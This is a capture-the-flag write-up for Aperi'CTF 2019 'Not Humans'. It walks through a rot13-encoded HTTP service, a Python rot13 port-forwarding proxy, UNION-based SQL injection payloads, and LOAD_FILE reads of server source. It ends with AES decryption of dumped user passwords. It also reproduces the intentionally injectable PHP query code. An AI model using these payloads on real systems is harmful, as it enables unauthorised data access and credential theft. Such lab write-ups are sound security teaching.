Not Humans

Aperi'CTF 2019 - Network (100 pts).

Aperi’CTF 2019 - Not Humans

Challenge details

Event Challenge Category Points Solves
Aperi’CTF 2019 Not Humans (part 1) Network 100 23
Aperi’CTF 2019 Not Humans (part 5) Web 175 4

Abhf nibaf qépbhireg ha cbegnvy zranag iref ha nhger zbaqr! Vairfgvthrm rg enzrarm yr zbg qr cnffr qr y’nqzvavfgengrhe qh freivpr. Oba pbheentr.

nc humans.aperictf.fr 33331

TL;DR

We had a rot 13 HTTP service which could be browse with localhost reverse proxy implementing rot13. On this website there were an SQL injection with load_file() function which let us to read the source code of the application. The dumped database and the source code combined let us decipher the administrator password.

First look at the service

First of all, by decoding the summary with rot13 algorithm we got the following text:

Nous avons découvert un portail menant vers un autre monde!
Investiguez et ramenez le mot de passe de l'administrateur du service.
Bon courrage.

I decided to send random data to the service

nc humans.aperictf.fr 33331
randomdata
UGGC/1.1 400 Onq Erdhrfg
Freire: atvak/1.16.0
Qngr: Fha, 12 Znl 2019 16:33:28 TZG
Pbagrag-Glcr: grkg/ugzy
Pbagrag-Yratgu: 270
Pbaarpgvba: pybfr
RGnt: "5pq849sr-10r"

<!qbpglcr ugzy>
<ugzy>
<urnq><gvgyr>400 Onq Erdhrfg</gvgyr></urnq>
<obql>
<pragre><u1>400 Onq Erdhrfg</u1></pragre>
<ue><pragre>atvak/1.15.12</pragre>
<o>Crhg-êger nirm-ibhf bhoyvé yr urnqre Ubfg: ? ;)</o>
<o>Znlor lbh'er zvffvat Ubfg: urnqre ? ;)</o>
</obql>
</ugzy>

Once decoded with rot13:

HTTP/1.1 400 Bad Request
Server: nginx/1.16.0
Date: Sun, 12 May 2019 16:33:28 GMT
Content-Type: text/html
Content-Length: 270
Connection: close
ETag: "5cd849fe-10e"

<!doctype html>
<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.15.12</center>
<b>Peut-être avez-vous oublié le header Host: ? ;)</b>
<b>Maybe you're missing Host: header ? ;)</b>
</body>
</html>

Maybe should we send a rot13 HTTP Request ? I decided to send the following request:

Without rot13:

GET / HTTP/1.1
Host: x

With rot13

TRG / UGGC/1.1
Ubfg: k

Request and response:

TRG / UGGC/1.1
Ubfg: k

UGGC/1.1 200 BX
Freire: atvak/1.16.0
Qngr: Fha, 12 Znl 2019 16:35:28 TZG
Pbagrag-Glcr: grkg/ugzy; punefrg=HGS-8
Genafsre-Rapbqvat: puhaxrq
Pbaarpgvba: xrrc-nyvir
K-Cbjrerq-Ol: CUC/7.3.5

353
<!qbpglcr ugzy>
<ugzy>
<urnq>
    <zrgn punefrg="HGS-8" />
    <yvax ery="fglyrfurrg" uers="fglyr.pff"/>
    <gvgyr>Abg Uhznaf</gvgyr>
</urnq>
<obql>
<!-- NCEX{!F1ZCY3_EBG13_E3DHRFG!} -->
<qvi pynff="jenc" fglyr="cbfvgvba: nofbyhgr;m-vaqrk:1000">
    <sbez vq="frnepu">
        <vachg glcr="grkg" vq="frnepuGrez" pynff="frnepuGrez" cynprubyqre="Dhv purepurm-ibhf?">
        <ohggba glcr="fhozvg" pynff="frnepuOhggba"><vzt fep="mbbz.fit" jvqgu="20ck" urvtug="20ck"/></ohggba>
    </sbez>
    <qvi pynff="erfhyg"></qvi>
</qvi>
<qvi vq="cnegvpyrf-wf"></qvi>


<fpevcg fep="wf/cnegvpyrf.zva.wf"></fpevcg><!-- cnegvpyrf.wf yvo - uggcf://tvguho.pbz/IvapragTneernh/cnegvpyrf.wf -->
<fpevcg fep="wf/wdhrel-3.4.0.zva.wf"></fpevcg>
<fpevcg fep="wf/wninfpevcg.wf"></fpevcg>
<fpevcg fep="wf/cnegvpyrfpbagrag.wf"></fpevcg>
</obql>
</ugzy>

0

And here is the deciphered response:

HTTP/1.1 200 OK
Server: nginx/1.16.0
Date: Sun, 12 May 2019 16:35:28 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.3.5

353
<!doctype html>
<html>
<head>
    <meta charset="UTF-8" />
    <link rel="stylesheet" href="style.css"/>
    <title>Not Humans</title>
</head>
<body>
<!-- APRK{!S1MPL3_ROT13_R3QUEST!} -->
<div class="wrap" style="position: absolute;z-index:1000">
    <form id="search">
        <input type="text" id="searchTerm" class="searchTerm" placeholder="Qui cherchez-vous?">
        <button type="submit" class="searchButton"><img src="zoom.svg" width="20px" height="20px"/></button>
    </form>
    <div class="result"></div>
</div>
<div id="particles-js"></div>


<script src="js/particles.min.js"></script><!-- particles.js lib - https://github.com/VincentGarreau/particles.js -->
<script src="js/jquery-3.4.0.min.js"></script>
<script src="js/javascript.js"></script>
<script src="js/particlescontent.js"></script>
</body>
</html>

0

We got flag for part 1 ! APRK{!S1MPL3_ROT13_R3QUEST!}

Local Reverse proxy

To explore the website more easily, I setted up a local port forwarding including rot13 decipher. For this, I’ve been looking for python port forwarding on google. I found this repo and reuse it as the following script:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Tcp Port Forwarding (Reverse Proxy)
# Author : WangYihang <wangyihanger@gmail.com>
#          Zeecka (rot13 only)

import codecs
import socket
import threading
import sys

def handle(buffer):
    return codecs.encode(buffer.decode("utf-8"), 'rot_13').encode("utf-8")

def transfer(src, dst, direction):
    src_name = src.getsockname()
    src_address = src_name[0]
    src_port = src_name[1]
    dst_name = dst.getsockname()
    dst_address = dst_name[0]
    dst_port = dst_name[1]
    while True:
        buffer = src.recv(0x400)
        if len(buffer) == 0:
            break
        dst.send(handle(buffer))
    dst.shutdown(socket.SHUT_RDWR)
    dst.close()

def r13Thread(LHOST,LPORT,RHOST,RPORT):
    MAX_CONNECTION = 0x10

    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socket.bind((LHOST, LPORT))
    server_socket.listen(MAX_CONNECTION)
    while True:
        local_socket, local_address = server_socket.accept()
        remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        remote_socket.connect((RHOST, RPORT))
        s = threading.Thread(target=transfer, args=(
            remote_socket, local_socket, False))
        r = threading.Thread(target=transfer, args=(
            local_socket, remote_socket, True))
        s.start()
        r.start()

    remote_socket.shutdown(socket.SHUT_RDWR)
    remote_socket.close()
    local_socket.shutdown(socket.SHUT_RDWR)
    local_socket.close()
    server_socket.shutdown(socket.SHUT_RDWR)
    server_socket.close()

if __name__ == "__main__":
	r13Thread("127.0.0.1",81,"nothumans.aperictf.fr",33331)

Now the website can be browsed on http://localhost:81.

localhost.png

SQL injection

While testing, a simple " or 1=1# sql injection payload gave us each records:

or1.png

We can exploit the SQL injection and dump the current table schema (note that we select 4 fields due to our context. The number of fields can be found using GROUP BY N where N is the latest field number):

" UNION SELECT column_name, table_name, 3, 4 FROM information_schema.columns#

schema.png

We can nom dump each columns:

" UNION SELECT CONCAT(nomutilisateur,'|',age),CONCAT(cipher_txt,'|',secret_key),3,4 FROM s3cr3ts_us3rs#

ciphers.png

We dumped keys and ciphers for each users. After few test, keys and ciphers are not sufficent to decipher. We need to know which algorithm has been used and if there is other keys or IV. For this we can use the SQL injection to load file from the web server.

Load_file

To get the webserver files we can use the load_file() command from MySQL. We also need to know the current web path. We can either guess the current path which is the default path: /var/www/html or we can look for a Full Path Disclosure which can be done by doing a simple get requests on /check.php (ajax form):

curl http://localhost:81/check.php
<br />
<b>Notice</b>:  Undefined index: user in <b>/var/www/html/check.php</b> on line <b>8</b><br />
<br />
<b>Warning</b>:  assert(): assert(is_string($_POST['user'])) failed in <b>/var/www/html/check.php</b> on line <b>8</b><br />

We can now load the file check.php whith the following payload:

" UNION SELECT LOAD_FILE('/var/www/html/check.php'),2,3,4#

load_file.png

The query dumped the source code. We can run it again with curl for a better view of the whole source code:

curl http://localhost:81/check.php -X POST -d 'user=" UNION SELECT LOAD_FILE(%27/var/www/html/check.php%27),2,3,4#'

We got:

<table><tr><th>Nom</th><th>Age</th></tr><tr><td><?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

$mysqli = mysqli_connect("db", "user", "u4aQnuMh63EkmYT3AzGSVSVrcBZBs4CF", "s3cr3ts_us3rs");

assert(is_string($_POST['user']));

if (isset($_POST['user']) && is_string($_POST['user'])){
    // TODO: "WAF"

    $query = 'SELECT * FROM s3cr3ts_us3rs WHERE nomutilisateur = "'.$_POST["user"].'";';
    $returned_set = $mysqli->query($query);
    echo("<table>");
    echo("<tr><th>Nom</th><th>Age</th></tr>");
    while($result = $returned_set->fetch_row()) {
        echo("<tr>");
        echo("<td>".$result[0]."</td>");
        echo("<td>".$result[1]."</td>");
        echo("</tr>");
    }
    echo("</table>");
}


/* TODO: add authentication */
/*
function decrypter($a,$b){
    $cipher = base64_decode($a);
    $key = hash('sha256', base64_decode($b), true);
    $iv = "thisisasecretkey";
    $method = "AES-256-CBC";
    return openssl_decrypt($cipher, $method, $key, OPENSSL_RAW_DATA, $iv);
}
function crypter($a,$b){
    $clear = $a;
    $key = hash('sha256', base64_decode($b), true);
    $iv = "thisisasecretkey";
    $method = "AES-256-CBC";
    $cipher = openssl_encrypt($clear, $method, $key, OPENSSL_RAW_DATA, $iv);
    return base64_encode($cipher);
}

if (isset($_POST['user']) && is_string($_POST['user']) &&
    isset($_POST['pwd']) && is_string($_POST['pwd'])){
    $query = 'SELECT * FROM s3cr3ts_us3rs WHERE nomutilisateur = "'.$_POST["user"].'";';
    $returned_set = $mysqli->query($query);
    while($result = $returned_set->fetch_row()) {
        if ($_POST['pwd'] === decrypter($result[2],$result[3])){
            echo("Bienvenue ".$result['nomutilisateur']);
        }
    }
}
*/
?>
</td><td>2</td></tr></table>

Decrypt

To decipher the encrypted data, we can either use the given code with “decrypter” function, or implement it in python:

from Crypto.Cipher import AES
import base64
import hashlib

def decrypt(cipher,key):
    cipher = base64.b64decode(cipher)
    key = hashlib.sha256(base64.b64decode(key)).digest()
    IV =  "thisisasecretkey"
    aes = AES.new(key, AES.MODE_CBC, IV)
    return aes.decrypt(cipher)

l = [
  ("RZSkJgZi9hiZmEAxVJFIFg==","GhwrXEF50rquU4NpQZhrDw=="),
  ("BU0Q9yto81kMIDM911kjuw==","JjAOMBl9lGpiqexsxQVu9A=="),
  ("BFSAm13XYkNJV2yvnkQZ1g==","nmKzysnc6yur+Wwi0HKGSA=="),
  ("yD0mgytKHeTh/h9lN5O8dKLetTKdORcPhQ9C7BOMUk0=","SzuYnjYuUkIupY/0nj84Qg==")
]

for elt in l:
    print(decrypt(elt[0],elt[1]))
test
p@ssw0rd
qwerty123
NCEX{1_ernyyl_ybi3_ebg13}

One of them look like a flag, a last rot13 on it and we got the flag: APRK{1_really_lov3_rot13}

Flag

APRK{!S1MPL3_ROT13_R3QUEST!}
APRK{1_really_lov3_rot13}

Zeecka